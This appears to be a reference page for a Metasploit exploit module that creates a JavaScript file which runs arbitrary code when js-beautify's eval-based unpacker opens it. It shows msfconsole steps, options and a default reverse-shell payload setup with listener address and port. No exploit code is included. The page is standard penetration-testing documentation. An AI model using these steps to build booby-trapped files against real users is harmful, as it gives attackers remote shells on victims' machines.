Javascript Injection for Eval-based Unpackers - Metasploit


This page contains detailed information about how to use the exploit/multi/fileformat/js_unpacker_eval_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Javascript Injection for Eval-based Unpackers
Module: exploit/multi/fileformat/js_unpacker_eval_injection
Source code: modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb
Disclosure date: 2015-02-18
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): nodejs
Supported platform(s): NodeJS
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module generates a Javascript file that executes arbitrary code when an eval-based unpacker is run on it. Works against js-beautify's P_A_C_K_E_R unpacker.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/fileformat/js_unpacker_eval_injection
msf exploit(js_unpacker_eval_injection) > show targets
    ... a list of targets ...
msf exploit(js_unpacker_eval_injection) > set TARGET target-id
msf exploit(js_unpacker_eval_injection) > show options
    ... show and set options ...
msf exploit(js_unpacker_eval_injection) > exploit

Go back to menu.

Msfconsole Usage


Here is how the multi/fileformat/js_unpacker_eval_injection exploit module looks in the msfconsole:

msf6 > use exploit/multi/fileformat/js_unpacker_eval_injection

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/fileformat/js_unpacker_eval_injection) > show info

       Name: Javascript Injection for Eval-based Unpackers
     Module: exploit/multi/fileformat/js_unpacker_eval_injection
   Platform: NodeJS
       Arch: nodejs
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-02-18

Provided by:
  joev <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  CUSTOM_JS                   no        Custom Javascript payload.
  FILENAME   msf.js           yes       The file name.

Payload information:

Description:
  This module generates a Javascript file that executes arbitrary code 
  when an eval-based unpacker is run on it. Works against 
  js-beautify's P_A_C_K_E_R unpacker.

Module Options


This is a complete list of options available in the multi/fileformat/js_unpacker_eval_injection exploit:

msf6 exploit(multi/fileformat/js_unpacker_eval_injection) > show options

Module options (exploit/multi/fileformat/js_unpacker_eval_injection):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CUSTOM_JS                   no        Custom Javascript payload.
   FILENAME   msf.js           yes       The file name.

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/fileformat/js_unpacker_eval_injection exploit:

msf6 exploit(multi/fileformat/js_unpacker_eval_injection) > show advanced

Module advanced options (exploit/multi/fileformat/js_unpacker_eval_injection):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   true             no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   JsIdentifiers                            no        Identifiers to preserve for JsObfu
   JsObfuscate             0                no        Number of times to obfuscate JavaScript
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/fileformat/js_unpacker_eval_injection module can exploit:

msf6 exploit(multi/fileformat/js_unpacker_eval_injection) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/fileformat/js_unpacker_eval_injection exploit:

msf6 exploit(multi/fileformat/js_unpacker_eval_injection) > show payloads

Compatible Payloads
===================

   #  Name                                     Disclosure Date  Rank    Check  Description
   -  ----                                     ---------------  ----    -----  -----------
   0  payload/generic/custom                                    normal  No     Custom Payload
   1  payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   2  payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   3  payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4  payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5  payload/nodejs/shell_bind_tcp                             normal  No     Command Shell, Bind TCP (via nodejs)
   6  payload/nodejs/shell_reverse_tcp                          normal  No     Command Shell, Reverse TCP (via nodejs)
   7  payload/nodejs/shell_reverse_tcp_ssl                      normal  No     Command Shell, Reverse TCP SSL (via nodejs)

Evasion Options


Here is the full list of possible evasion options supported by the multi/fileformat/js_unpacker_eval_injection exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/fileformat/js_unpacker_eval_injection) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • joev

Version


This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.